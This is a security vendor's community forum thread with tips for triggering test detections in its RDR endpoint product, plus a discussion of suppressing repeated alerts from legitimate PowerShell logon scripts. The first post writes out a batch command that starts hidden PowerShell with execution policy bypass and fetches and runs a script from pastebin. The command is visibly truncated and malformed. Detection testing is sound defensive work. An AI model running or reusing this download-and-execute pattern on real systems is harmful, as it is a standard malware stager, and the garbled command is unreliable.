RDR testing tips

Hannu Kilpelainen

Let's start a topic for RDR testing tips of the day to safely simulate an attack that generates detections.

As you probably know, testing RDR with some simple detections can be as simple as opening command line prompt and running "whoami" on a target endpoint. However, you may also try safely something more advanced with powershell.

We will create .bat file that calls powershell to download code from 3rd party website, in this case pastebin.com containing the following harmless code:

# Filename: Hello.ps1
Write-Host
Write-Host 'Hello World!'
Write-Host
# end of script

1. Create a hello-world.bat file

2. Add the following command:

"C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -NoP -NonI -W Hidden -Exec Bypass IEX (New-Object System.Net.WebClient).DownloadFile('c"); Powershell.exe -executionpolicy remotesigned -File $env:Temp\powershell.ps1
3. Save and run it on an endpoint that has the RDR client installed.

 

demol

Dear HannuKi,

 

Please can you suggest a similar test for Unix environments?

 

Thank you.

 

Best regards,

Demol

 

RomanH

Hi,

 

One command you can use on Macs to generate a test Broad Context Detection is the following one:

python -m SimpleHTTPServer

 

Unfortunately we do not yet have a sensor for Linux but the above should work for Mac sensors.

 

regards,

- Roman

CliveC

So I have a client using RDR, they use automated logon scripts for powershell to retrieve data about the PCs and for the last two months, each and every day there is alerts. How would you close the finding down as being a 'Normal' or 'Common' procedure in the environment? It is not a false positive in the sense that there is a recon activity, but it is a day-to-day task within this environment. How do I get it to not appear as a finding?

Hannu Kilpelainen

Hello Clive,

Thanks for writing this question to the Community since other RDR users might struggle with similar issues like yours.

First of all, there's a new feature introduced in September to automatically close incidents based on previously done user actions. This feature will close automatically repeating incidents matching incidents previously closed as false positive. Incident resolution will be Closed: Auto false positive. Email notification will not be sent for Auto false positives. This should be used primarily for events you do not want to appear as new alerts or findings.
​
If you repeating incidents are not identical match, then another option is to submit a whitelisting request. That will definitely help in case the auto false positive feature is not suitable in your client's environment.

Best regards,

Hannu

CliveC

Thank you Hannu

Is there a way to whitelist ourselves? Obviously each time a different user logs onto a different machine this will be picked up, perhaps a confirmation key in a powershell comment that F-Secure can interpret to whitelist when the script runs. Especially in the case of "hot-desk" style workstations?

Hannu Kilpelainen

Hello Clive, the options mentioned earlier are the currently available options. I hope those two methods will work in your client's environment. You may provide further information as a private support ticket to allow us better consider your specific requirements while continuously improving RDR solution.

Best regards,

Hannu